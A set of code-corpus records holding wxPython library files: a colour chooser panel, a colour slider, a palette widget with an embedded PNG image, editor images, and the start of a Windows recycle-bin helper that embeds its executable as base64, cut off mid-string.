= wx.NewId()\n idSCROLL = wx.NewId()\n\n def __init__(self, parent, id):\n \"\"\"Creates an instance of the colour chooser. Note that it is best to\n accept the given size of the colour chooser as it is currently not\n resizeable.\"\"\"\n wx.Panel.__init__(self, parent, id)\n\n self.basic_label = wx.StaticText(self, -1, _(\"Basic Colours:\"))\n self.custom_label = wx.StaticText(self, -1, _(\"Custom Colours:\"))\n self.add_button = wx.Button(self, self.idADD_CUSTOM, _(\"Add to Custom Colours\"))\n\n self.Bind(wx.EVT_BUTTON, self.onAddCustom, self.add_button)\n\n # Since we're going to be constructing widgets that require some serious\n # computation, let's process any events (like redraws) right now\n wx.Yield()\n\n # Create the basic colours palette\n self.colour_boxs = [ ]\n colour_grid = wx.GridSizer(6, 8)\n for name in self.colour_names:\n new_id = wx.NewId()\n box = pycolourbox.PyColourBox(self, new_id)\n\n box.GetColourBox().Bind(wx.EVT_LEFT_DOWN, lambda x, b=box: self.onBasicClick(x, b))\n \n self.colour_boxs.append(box)\n colour_grid.Add(box, 0, wx.EXPAND)\n\n # Create the custom colours palette\n self.custom_boxs = [ ]\n custom_grid = wx.GridSizer(2, 8)\n for wxcolour, slidepos in self.custom_colours:\n new_id = wx.NewId()\n custom = pycolourbox.PyColourBox(self, new_id)\n\n custom.GetColourBox().Bind(wx.EVT_LEFT_DOWN, lambda x, b=custom: self.onCustomClick(x, b))\n\n custom.SetColour(wxcolour)\n custom_grid.Add(custom, 0, wx.EXPAND)\n self.custom_boxs.append(custom)\n\n csizer = wx.BoxSizer(wx.VERTICAL)\n csizer.Add((1, 25))\n csizer.Add(self.basic_label, 0, wx.EXPAND)\n csizer.Add((1, 5))\n csizer.Add(colour_grid, 0, wx.EXPAND)\n csizer.Add((1, 25))\n csizer.Add(self.custom_label, 0, wx.EXPAND)\n csizer.Add((1, 5))\n csizer.Add(custom_grid, 0, wx.EXPAND)\n csizer.Add((1, 5))\n csizer.Add(self.add_button, 0, wx.EXPAND)\n\n self.palette = pypalette.PyPalette(self, -1)\n self.colour_slider = pycolourslider.PyColourSlider(self, -1)\n self.slider = wx.Slider(\n self, self.idSCROLL, 86, 0, self.colour_slider.HEIGHT - 1,\n style=wx.SL_VERTICAL, size=(15, self.colour_slider.HEIGHT)\n )\n\n self.Bind(wx.EVT_COMMAND_SCROLL, self.onScroll, self.slider)\n psizer = wx.BoxSizer(wx.HORIZONTAL)\n psizer.Add(self.palette, 0, 0)\n psizer.Add((10, 1))\n psizer.Add(self.colour_slider, 0, wx.ALIGN_CENTER_VERTICAL)\n psizer.Add(self.slider, 0, wx.ALIGN_CENTER_VERTICAL)\n\n # Register mouse events for dragging across the palette\n self.palette.Bind(wx.EVT_LEFT_DOWN, self.onPaletteDown)\n self.palette.Bind(wx.EVT_LEFT_UP, self.onPaletteUp)\n self.palette.Bind(wx.EVT_MOTION, self.onPaletteMotion)\n self.mouse_down = False\n\n self.solid = pycolourbox.PyColourBox(self, -1, size=(75, 50))\n slabel = wx.StaticText(self, -1, _(\"Solid Colour\"))\n ssizer = wx.BoxSizer(wx.VERTICAL)\n ssizer.Add(self.solid, 0, 0)\n ssizer.Add((1, 2))\n ssizer.Add(slabel, 0, wx.ALIGN_CENTER_HORIZONTAL)\n\n hlabel = wx.StaticText(self, -1, _(\"H:\"))\n self.hentry = wx.TextCtrl(self, -1)\n self.hentry.SetSize((40, -1))\n slabel = wx.StaticText(self, -1, _(\"S:\"))\n self.sentry = wx.TextCtrl(self, -1)\n self.sentry.SetSize((40, -1))\n vlabel = wx.StaticText(self, -1, _(\"V:\"))\n self.ventry = wx.TextCtrl(self, -1)\n self.ventry.SetSize((40, -1))\n hsvgrid = wx.FlexGridSizer(1, 6, 2, 2)\n hsvgrid.AddMany ([\n (hlabel, 0, wx.ALIGN_CENTER_VERTICAL), (self.hentry, 0, wx.FIXED_MINSIZE),\n (slabel, 0, wx.ALIGN_CENTER_VERTICAL), (self.sentry, 0, wx.FIXED_MINSIZE),\n (vlabel, 0, wx.ALIGN_CENTER_VERTICAL), (self.ventry, 0, wx.FIXED_MINSIZE),\n ])\n\n rlabel = wx.StaticText(self, -1, _(\"R:\"))\n self.rentry = wx.TextCtrl(self, -1)\n self.rentry.SetSize((40, -1))\n glabel = wx.StaticText(self, -1, _(\"G:\"))\n self.gentry = wx.TextCtrl(self, -1)\n self.gentry.SetSize((40, -1))\n blabel = wx.StaticText(self, -1, _(\"B:\"))\n self.bentry = wx.TextCtrl(self, -1)\n self.bentry.SetSize((40, -1))\n lgrid = wx.FlexGridSizer(1, 6, 2, 2)\n lgrid.AddMany([\n (rlabel, 0, wx.ALIGN_CENTER_VERTICAL), (self.rentry, 0, wx.FIXED_MINSIZE),\n (glabel, 0, wx.ALIGN_CENTER_VERTICAL), (self.gentry, 0, wx.FIXED_MINSIZE),\n (blabel, 0, wx.ALIGN_CENTER_VERTICAL), (self.bentry, 0, wx.FIXED_MINSIZE),\n ])\n\n gsizer = wx.GridSizer(2, 1)\n gsizer.SetVGap (10)\n gsizer.SetHGap (2)\n gsizer.Add(hsvgrid, 0, wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_CENTER_HORIZONTAL)\n gsizer.Add(lgrid, 0, wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_CENTER_HORIZONTAL)\n\n hsizer = wx.BoxSizer(wx.HORIZONTAL)\n hsizer.Add(ssizer, 0, wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_CENTER_HORIZONTAL)\n hsizer.Add(gsizer, 0, wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_CENTER_HORIZONTAL)\n\n vsizer = wx.BoxSizer(wx.VERTICAL)\n vsizer.Add((1, 5))\n vsizer.Add(psizer, 0, 0)\n vsizer.Add((1, 15))\n vsizer.Add(hsizer, 0, wx.EXPAND)\n\n sizer = wx.BoxSizer(wx.HORIZONTAL)\n sizer.Add((5, 1))\n sizer.Add(csizer, 0, wx.EXPAND)\n sizer.Add((10, 1))\n sizer.Add(vsizer, 0, wx.EXPAND)\n self.SetAutoLayout(True)\n self.SetSizer(sizer)\n sizer.Fit(self)\n\n self.InitColours()\n self.UpdateColour(self.solid.GetColour())\n\n def InitColours(self):\n \"\"\"Initializes the pre-set palette colours.\"\"\"\n for i in range(len(self.colour_names)):\n colour = wx.TheColourDatabase.FindColour(self.colour_names[i])\n self.colour_boxs[i].SetColourTuple((colour.Red(),\n colour.Green(),\n colour.Blue()))\n\n def onBasicClick(self, event, box):\n \"\"\"Highlights the selected colour box and updates the solid colour\n display and colour slider to reflect the choice.\"\"\"\n if hasattr(self, '_old_custom_highlight'):\n self._old_custom_highlight.SetHighlight(False)\n if hasattr(self, '_old_colour_highlight'):\n self._old_colour_highlight.SetHighlight(False)\n box.SetHighlight(True)\n self._old_colour_highlight = box\n self.UpdateColour(box.GetColour())\n\n def onCustomClick(self, event, box):\n \"\"\"Highlights the selected custom colour box and updates the solid\n colour display and colour slider to reflect the choice.\"\"\"\n if hasattr(self, '_old_colour_highlight'):\n self._old_colour_highlight.SetHighlight(False)\n if hasattr(self, '_old_custom_highlight'):\n self._old_custom_highlight.SetHighlight(False)\n box.SetHighlight(True)\n self._old_custom_highlight = box\n\n # Update the colour panel and then the slider accordingly\n box_index = self.custom_boxs.index(box)\n base_colour, slidepos = self.custom_colours[box_index]\n self.UpdateColour(box.GetColour())\n self.slider.SetValue(slidepos)\n\n def onAddCustom(self, event):\n \"\"\"Adds a custom colour to the custom colour box set. Boxes are\n chosen in a round-robin fashion, eventually overwriting previously\n added colours.\"\"\"\n # Store the colour and slider position so we can restore the\n # custom colours just as they were\n self.setCustomColour(self.last_custom,\n self.solid.GetColour(),\n self.colour_slider.GetBaseColour(),\n self.slider.GetValue())\n self.last_custom = (self.last_custom + 1) % self.NO_CUSTOM_COLOURS\n\n def setCustomColour (self, index, true_colour, base_colour, slidepos):\n \"\"\"Sets the custom colour at the given index. true_colour is wxColour\n object containing the actual rgb value of the custom colour.\n base_colour (wxColour) and slidepos (int) are used to configure the\n colour slider and set everything to its original position.\"\"\"\n self.custom_boxs[index].SetColour(true_colour)\n self.custom_colours[index] = (base_colour, slidepos)\n\n def UpdateColour(self, colour):\n \"\"\"Performs necessary updates for when the colour selection has\n changed.\"\"\"\n # Reset the palette to erase any highlighting\n self.palette.ReDraw()\n\n # Set the color info\n self.solid.SetColour(colour)\n self.colour_slider.SetBaseColour(colour)\n self.colour_slider.ReDraw()\n self.slider.SetValue(0)\n self.UpdateEntries(colour)\n\n def UpdateEntries(self, colour):\n \"\"\"Updates the color levels to display the new values.\"\"\"\n # Temporary bindings\n r = colour.Red()\n g = colour.Green()\n b = colour.Blue()\n\n # Update the RGB entries\n self.rentry.SetValue(str(r))\n self.gentry.SetValue(str(g))\n self.bentry.SetValue(str(b))\n\n # Convert to HSV\n h,s,v = colorsys.rgb_to_hsv(r / 255.0, g / 255.0, b / 255.0)\n self.hentry.SetValue(\"%.2f\" % (h))\n self.sentry.SetValue(\"%.2f\" % (s))\n self.ventry.SetValue(\"%.2f\" % (v))\n\n def onPaletteDown(self, event):\n \"\"\"Stores state that the mouse has been pressed and updates\n the selected colour values.\"\"\"\n self.mouse_down = True\n self.palette.ReDraw()\n self.doPaletteClick(event.m_x, event.m_y)\n\n def onPaletteUp(self, event):\n \"\"\"Stores state that the mouse is no longer depressed.\"\"\"\n self.mouse_down = False\n\n def onPaletteMotion(self, event):\n \"\"\"Updates the colour values during mouse motion while the\n mouse button is depressed.\"\"\"\n if self.mouse_down:\n self.doPaletteClick(event.m_x, event.m_y)\n\n def doPaletteClick(self, m_x, m_y):\n \"\"\"Updates the colour values based on the mouse location\n over the palette.\"\"\"\n # Get the colour value and update\n colour = self.palette.GetValue(m_x, m_y)\n self.UpdateColour(colour)\n\n # Highlight a fresh selected area\n self.palette.ReDraw()\n self.palette.HighlightPoint(m_x, m_y)\n\n # Force an onscreen update\n self.solid.Update()\n self.colour_slider.Refresh()\n\n def onScroll(self, event):\n \"\"\"Updates the solid colour display to reflect the changing slider.\"\"\"\n value = self.slider.GetValue()\n colour = self.colour_slider.GetValue(value)\n self.solid.SetColour(colour)\n self.UpdateEntries(colour)\n\n def SetValue(self, colour):\n \"\"\"Updates the colour chooser to reflect the given wxColour.\"\"\"\n self.UpdateColour(colour)\n\n def GetValue(self):\n \"\"\"Returns a wxColour object indicating the current colour choice.\"\"\"\n return self.solid.GetColour()\n\ndef main():\n \"\"\"Simple test display.\"\"\"\n class App(wx.App):\n def OnInit(self):\n frame = wx.Frame(None, -1, 'PyColourChooser Test')\n\n # Added here because that's where it's supposed to be,\n # not embedded in the library. If it's embedded in the\n # library, debug messages will be generated for duplicate\n # handlers.\n wx.InitAllImageHandlers()\n\n chooser = PyColourChooser(frame, -1)\n sizer = wx.BoxSizer(wx.VERTICAL)\n sizer.Add(chooser, 0, 0)\n frame.SetAutoLayout(True)\n frame.SetSizer(sizer)\n sizer.Fit(frame)\n\n frame.Show(True)\n self.SetTopWindow(frame)\n return True\n app = App(False)\n app.MainLoop()\n\nif __name__ == '__main__':\n main()\n", "id": "12363416", "language": "Python", "matching_score": 4.212567329406738, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/colourchooser/pycolourchooser.py" }, { "content": "\"\"\"\nPyColourChooser\nCopyright (C) 2002 <NAME>\n\nThis file is part of PyColourChooser.\n\nYou should have received a file COPYING containing license terms\nalong with this program; if not, write to <NAME>\n(<EMAIL>) for a copy.\n\nThis version of PyColourChooser is open source; you can redistribute it and/or\nmodify it under the terms listed in the file COPYING.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\"\"\"\n\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n#\n# 12/21/2003 - <NAME> (<EMAIL>)\n#\n# o wxPyColorChooser -> PyColorChooser\n# o wxPyColourChooser -> PyColourChooser\n#\n\nimport wx\n\nimport canvas\nimport colorsys\n\nclass PyColourSlider(canvas.Canvas):\n \"\"\"A Pure-Python Colour Slider\n\n The colour slider displays transitions from value 0 to value 1 in\n HSV, allowing the user to select a colour within the transition\n spectrum.\n\n This class is best accompanying by a wxSlider that allows the user\n to select a particular colour shade.\n \"\"\"\n\n HEIGHT = 172\n WIDTH = 12\n\n def __init__(self, parent, id, colour=None):\n \"\"\"Creates a blank slider instance. A colour must be set before the\n slider will be filled in.\"\"\"\n # Set the base colour first since our base class calls the buffer\n # drawing function\n self.SetBaseColour(colour)\n\n canvas.Canvas.__init__(self, parent, id, size=(self.WIDTH, self.HEIGHT))\n\n def SetBaseColour(self, colour):\n \"\"\"Sets the base, or target colour, to use as the central colour\n when calculating colour transitions.\"\"\"\n self.base_colour = colour\n\n def GetBaseColour(self):\n \"\"\"Return the current colour used as a colour base for filling out\n the slider.\"\"\"\n return self.base_colour\n\n def GetValue(self, pos):\n \"\"\"Returns the colour value for a position on the slider. The position\n must be within the valid height of the slider, or results can be\n unpredictable.\"\"\"\n return self.buffer.GetPixelColour(0, pos)\n\n def DrawBuffer(self):\n \"\"\"Actual implementation of the widget's drawing. We simply draw\n from value 0.0 to value 1.0 in HSV.\"\"\"\n if self.base_colour is None:\n return\n\n target_red = self.base_colour.Red()\n target_green = self.base_colour.Green()\n target_blue = self.base_colour.Blue()\n\n h,s,v = colorsys.rgb_to_hsv(target_red / 255.0, target_green / 255.0,\n target_blue / 255.0)\n v = 1.0\n vstep = 1.0 / self.HEIGHT\n for y_pos in range(0, self.HEIGHT):\n r,g,b = [c * 255.0 for c in colorsys.hsv_to_rgb(h,s,v)]\n colour = wx.Colour(int(r), int(g), int(b))\n self.buffer.SetPen(wx.Pen(colour, 1, wx.SOLID))\n self.buffer.DrawRectangle(0, y_pos, 15, 1)\n v = v - vstep\n", "id": "3700443", "language": "Python", "matching_score": 3.395252227783203, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/colourchooser/pycolourslider.py" }, { "content": "\"\"\"\nPyColourChooser\nCopyright (C) 2002 <NAME>\n\nThis file is part of PyColourChooser.\n\nYou should have received a file COPYING containing license terms\nalong with this program; if not, write to <NAME>\n(<EMAIL>) for a copy.\n\nThis version of PyColourChooser is open source; you can redistribute it and/or\nmodify it under the terms listed in the file COPYING.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n\"\"\"\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n#\n# 12/21/2003 - <NAME> (<EMAIL>)\n#\n# o wxPyColorChooser -> PyColorChooser\n# o wxPyColourChooser -> PyColourChooser\n# o Commented out wx.InitAllImageHandlers() (see comments at that\n# point for explanation\n#\n\nimport wx\n\nimport canvas\nimport colorsys\n\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\nImage = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAMgAAADACAYAAABBCyzzAAAABHNCSVQICAgIfAhkiAAACwNJ\"\n \"REFUeJztnc16o0YQRZHt8SJZJO//lMkiWWQsKwsLK7S49dNdjTyTczYYhBBd7vqoom7B6bIs\"\n \"l2VZluW3Zdld/l603fn8n18/ln8u2+Ufy/527/Pe731ffsmdeO+Ave3ZgRUb6tvf+2dXPS08\"\n \"670uf9UMqPN7TwsASHAQAAMcBMDgZfn27eOv6+Ju+SKWz2L55CxP+0ux2T2cOg112utSDbfO\"\n \"EJ5B1Iidj7OG8AwihnvUtFDDvFnjsYbgCgJggIMAGOAgAAb3Ocjs4DJJVQQajTyPj7aDHGyI\"\n \"Lz4tjCPVGoQrCIABDgJggIMAGOg6iFdImBx8Hp173Ocg7Z7twNv19kzagbfri1h3PlaHUz+v\"\n \"TlcNz6mDPC4XmT0j9mcGVxAAAxwEwAAHATB4WV5fP/6Kim5+ktxDbT99oah7w8FJ2curvfvP\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>b/<KEY>\"\n \"DgLQDQ4CYICDABjktVjzRDfmbtV3u3Ud5LXZEtVgTeqEUKF2NhfxNFlNY4yqg1Q9qqAdxiLW\"\n \"7z/xkjKlwYp2CNEPAhAGBwEwwEEADOq0WHWim93ds7lHVoq0Zh5P3Q8IU2c0aIiVrCG8XMQp\"\n \"DEXrIL1arP46yLEFIa4gAAY4CIABDgJgMP5+kFHxzSm1W7oVO18HyRqi2iDB3SYbItoPMnla\"\n \"JPasMgg5CEAYHATAAAcBMND9IKNSJKUd6qyD9GqxYk8/ivSkjxaEOg0yyxC2BKmsDlJkhf8Q\"\n \"NUivGA0tFkAYHATAAAcBMIhrsUY1WMGg03sSa7Xipl2/12Jlm/OzFYAgvbf9Oxtjnt/Nj8ty\"\n \"kf5+kNmNMeQgAC44CIABDgJgMK7FmhR69z4Pa1SLpftBom/na5dRLVFSi9Uus6flDHPNQWZp\"\n \"serrINm+ELRYAMPgIAAGOAiAQb8WS/U+j9/w3v1adT1E9aS/fbVkbOXgOsjL++7m8vpH3Bq9\"\n \"<KEY>cZLQfpK8N4i4HyU6Hur6Qql50etIB\"\n \"ysFBAAxwEACDun6Q+hvfu4erijiVFGleP0ixFmt2P8hld3O6PBbNxOJ4BsmK0shBALrBQQAM\"\n \"cBAAg7wWKxp0eje6nZ700XqId/tf94O07yj8n70f5Dr8NgfxpkF2WuRTU28mZGeGMsT3zTpX\"\n \"EAADHATAAAcBMMhrsXo1WMkb39ncI5uLrMN8uy7r+kGKn0o7GnJn6yBXg3j9INHcI5uL+GQN\"\n \"0ZuLvG2+DQA74CAABjgIgIHWYqmgMxpyJ2+AV0uPVMTZ5h7t0n9P+mRDLMHdJhtEabFG+0Dy\"\n \"1nisIbiCABjgIAAGOAiAgdZiVd/+n/w4qOxtfxV5PklDZKPwyYYYrYO0A2+2Ky3WqERvUJG2\"\n \"883qghDPxQIIg4MAGOAgAAa+FitaBsg2HxdJkGoUNz096UqN1HvnXzB6+z/bGHN9P/qag4zm\"\n \"Hu16pyJtZ4/ROog3E86bowDADjgIgAEOAmAQ12KpoHNQctTSq7zJPv1IhN7Lc7chsslZpxZr\"\n \"tgHO28MePfp4LtJroJwhuIIAGOAgAAY4CIBBXIvlNXsXS5GqQvBgyL28f66P5h5F<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>cBAAg7wWKxp0eg9A6nwulooslRarVdro3GNdjj4g7IsWhFrD\"\n \"KANcn4fV5iC9Twc77rlYSpPl5RzvYv2yORoA7ICDABjgIAAGeS3WaMidJBqCD4bcn8t8HeQH\"\n \"6UlPGkLVQR4/LaoLRLYhuIIAGOAgAAY4CIBB/h2Fkx7G2qvBGr39r3OQWYaYpMV6cB2k2go3\"\n \"a1Sr83KG4AoCYICDABjgIAAGcS2WEt2MPhdLkK1/nJv1NsK8iPV8HSRqCKVCmtQgowyhDLKu\"\n \"twZYD3va7pZNUZUVxqtCngYrWxBSM2V7FADYAQcBMMBBAAzGtVheg0Yy6PRCbi8Xae9mq1Bb\"\n \"hN7LRT6VtjopG9RieSG3CrE9g6w/cz1edUe+GoZvld7CkGcYNRO23waAHXAQAAMcBMAgr8XK\"\n \"9qT3PwBpc7hshOlprvYjzr0cZPSF8Z1PhBoVp6kmfc8A6880OYhXFRrVYvlEJ1TvTNg3DFcQ\"\n \"<KEY>\"\n \"<KEY>\"\n \"wZyjpc1BestjRZnYzh7R7LQzCSMHAfDBQQAMcBAAg1s/iLrB7S17JUgOvU9B8hQ23v33y+cR\"\n \"R5OxQXFatjEmagBFc9zT9XjZLpj5TyruFaWtZ5z7Ha4gAAY4CIABDgJgcKuDeEHmQRKk0bvd\"\n \"7Xr2+Pc5SNYgdXf+zRNdD/ferCvDJI9/uh531Ap15bEqA3gzY3t8riAABjgIgAEOAmCgcxDv\"\n \"tQqTQ28VcV7E+noavcf1c5BRg3QWhh5kCJWDPHhaGCfe5iI1BuEKAmCAgwAY4CAABjctlrqB\"\n \"nV1mm49Pqd1kKO4R1XZd7rYcbAjvhGcZojnemoOMTousFuveGrMM4R2fHATABQcBMMBBAAxu\"\n \"dRBPRBMV2WTFN4JZIXd7WudmXecg3vqoCslhVsjdnt4191hzkNFRZzMyn6whctqr1hBcQQAM\"\n \"cBAAAxwEwEDnIF7zd28vemc/SOvJvf0eqnvg9tSkUQMc9GzeVovl0RpAGSSYg1RPj/Y074nW\"\n \"<KEY>\"\n \"<KEY>\"\n \"<KEY>\"\n \"leLmJNZb6ZL3xrrL9IEnKwBRg6hkrNMgp3UpzrZ31Pl6iBrIijcjlEFUErZdcgUBMMBBAAxw\"\n \"EACDmxZLxbqzlw5qtzaUXpp1FWrHX+F3lAGEQaIDVy9hbLdnDZI8a+/fOzgNAnuqASqDeIbZ\"\n \"fgoAO+AgAAY4CIDBrQ7i3W+PBpfR7QL1sYokF2c9u/3+F48yjMOoYToNVv3vHreK+mavAWzD\"\n \"cAUBMMBBAAxwEAADnYO0eDHw6Pbk171H0maf1KpzkKO3d359fMC726tH1W+N6JGrDPEBVxAA\"\n \"AxwEwAAHATD4F0lpw33hNrduAAAAAElFTkSuQmCC\")\n\n\nclass PyPalette(canvas.Canvas):\n \"\"\"The Pure-Python Palette\n\n The PyPalette is a pure python implementation of a colour palette. The\n palette implementation here imitates the palette layout used by MS\n Windows and Adobe Photoshop.\n\n The actual palette image has been embedded as an XPM for speed. The\n actual reverse-engineered drawing algorithm is provided in the\n GeneratePaletteBMP() method. The algorithm is tweakable by supplying\n the granularity factor to improve speed at the cost of display\n beauty. Since the generator isn't used in real time, no one will\n likely care :) But if you need it for some sort of unforeseen realtime\n application, it's there.\n \"\"\"\n\n HORIZONTAL_STEP = 2\n VERTICAL_STEP = 4\n\n def __init__(self, parent, id):\n \"\"\"Creates a palette object.\"\"\"\n # Load the pre-generated palette XPM\n \n # Leaving this in causes warning messages in some cases.\n # It is the responsibility of the app to init the image\n # handlers, IAW RD\n #wx.InitAllImageHandlers()\n \n self.palette = Image.GetBitmap()\n canvas.Canvas.__init__ (self, parent, id, size=(200, 192))\n\n def GetValue(self, x, y):\n \"\"\"Returns a colour value at a specific x, y coordinate pair. This\n is useful for determining the colour found a specific mouse click\n in an external event handler.\"\"\"\n return self.buffer.GetPixelColour(x, y)\n\n def DrawBuffer(self):\n \"\"\"Draws the palette XPM into the memory buffer.\"\"\"\n #self.GeneratePaletteBMP (\"foo.bmp\")\n self.buffer.DrawBitmap(self.palette, 0, 0, 0)\n\n def HighlightPoint(self, x, y):\n \"\"\"Highlights an area of the palette with a little circle around\n the coordinate point\"\"\"\n colour = wx.Colour(0, 0, 0)\n self.buffer.SetPen(wx.Pen(colour, 1, wx.SOLID))\n self.buffer.SetBrush(wx.Brush(colour, wx.TRANSPARENT))\n self.buffer.DrawCircle(x, y, 3)\n self.Refresh()\n\n def GeneratePaletteBMP(self, file_name, granularity=1):\n \"\"\"The actual palette drawing algorithm.\n\n This used to be 100% reverse engineered by looking at the\n values on the MS map, but has since been redone Correctly(tm)\n according to the HSV (hue, saturation, value) colour model by\n <NAME> <http://cpbotha.net/>.\n\n Speed is tweakable by changing the granularity factor, but\n that affects how nice the output looks (makes the vertical\n blocks bigger. This method was used to generate the embedded\n XPM data.\"\"\"\n self.vertical_step = self.VERTICAL_STEP * granularity\n width, height = self.GetSize ()\n\n # simply iterate over hue (horizontal) and saturation (vertical)\n value = 1.0\n for y in range(0, height, self.vertical_step):\n saturation = 1.0 - float(y) / float(height)\n for x in range(0, width, self.HORIZONTAL_STEP):\n hue = float(x) / float(width)\n r,g,b = colorsys.hsv_to_rgb(hue, saturation, value)\n colour = wx.Colour(int(r * 255.0), int(g * 255.0), int(b * 255.0))\n self.buffer.SetPen(wx.Pen(colour, 1, wx.SOLID))\n self.buffer.SetBrush(wx.Brush(colour, wx.SOLID))\n self.buffer.DrawRectangle(x, y,\n self.HORIZONTAL_STEP, self.vertical_step)\n\n # this code is now simpler (and works)\n bitmap = self.buffer.GetBitmap()\n image = wx.ImageFromBitmap(bitmap)\n image.SaveFile (file_name, wx.BITMAP_TYPE_XPM)\n", "id": "4136172", "language": "Python", "matching_score": 3.7126309871673584, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/colourchooser/pypalette.py" }, { "content": "\n# images converted with wxPython's img2py.py tool\n\n# 12/14/2003 - <NAME> (<EMAIL>)\n#\n# o 2.5 compatability update.\n#\n\nfrom wx.lib.embeddedimage import PyEmbeddedImage\n\nEofImage = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAYAAADEUlfTAAAABHNCSVQICAgIfAhkiAAAADpJ\"\n \"REFUeJxdjsENADAIAsUJbv8p3aB90WD5KJwJCihrZg4g+06Q88EM0quqFkh1dqQAtZcfrIcc\"\n \"5OEFYDIVnsU0yrQAAAAASUVORK5CYII=\")\n\n", "id": "10166335", "language": "Python", "matching_score": 0.9938592910766602, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/editor/images.py" }, { "content": "#!/usr/bin/env python\n###############################################################################\n# Name: _winrecycle.py #\n# Purpose: Windows recycle bin implementation. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\" This is a self generating file. Run it to refresh the recycle.exe data. \"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__revision__ = \"$Revision: 50825 $\"\n__scid__ = \"$Id: Recycle.py 50825 2007-12-19 07:57:23Z CJP $\"\n\nimport base64, re\n\nrecycle = base64.b64decode(\n\"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAgAAAAA4fug4AtAnNIbgBTM<KEY>\"\n\"UuDQ0KJAAAAAAAAABQRQAATAEFAJHDw0YAGAAADAIAAOAABwMLAQI4AAwAAAAUAAAAAgAAgBIAAAA\"\n\"QAAAAIAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABgAAAABAAAyEMBAAMAAAAAACAAABAA\"\n\"AAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAABQAAAUAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA9AoAAAAQAAAADAAAAAQAAAAAAAA\"\n\"AAAAAAAAAAGAAAGAuZGF0YQAAAEAAAAAAIAAAAAIAAAAQAAAAAAAAAAAAAAAAAABAAADALnJkYXRh\"\n\"AADwAAAAADAAAAACAAAAEgAAAAAAAAAAAAAAAAAAQAAAQC5ic3MAAAAAwAAAAABAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAIAAAMAuaWRhdGEAABQDAAAAUAAAAAQAAAAUAAAAAAAAAAAAAAAAAABAAADAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\n\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWJ5YPsGIld+ItFCDHbiX\"\n\"X8iwAx9osAPZEAAMB3Qz2NAADAclu+AQAAAMcEJAgAAAAx0olUJATodAkAAIP4AXR6hcB0DscEJAg\"\n\"AAAD/0Lv/////idiLdfyLXfiJ7F3CBAA9lAAAwHTCd0o9kwAAwHS0idiLdfyLXfiJ7F3CBACQPQUA\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"4AQAAAIlEJATocggAAOkL////jbYAAAAAjbwnAAAAAFWJ5VOD7CTHBC<KEY>\"\n\"AOiQBAAAx0X4AAAAAI1F+IlEJBChACBAAMcEJARAQACJRCQMjUX0iUQkCLgAQEAAiUQkBOg9CAAAo\"\n\"RBAQACFwHRkoxAgQACLFfxQQACF0g+FoQAAAIP64HQfoRBAQACJRCQEofxQQACLQDCJBCTo8wcAAI\"\n\"sV/FBAAIP6wHQooRBAQACJRCQEofxQQACLQFCJBCTozwcAAOsNkJCQkJCQkJCQkJCQkOirBwAAixU\"\n\"QIEAAiRDorgIAAIPk8OiGAgAA6HEHAACLAIlEJAihAEBAAIlEJAShBEBAAIkEJOilAAAAicPoPgcA\"\n\"<KEY>\"\n\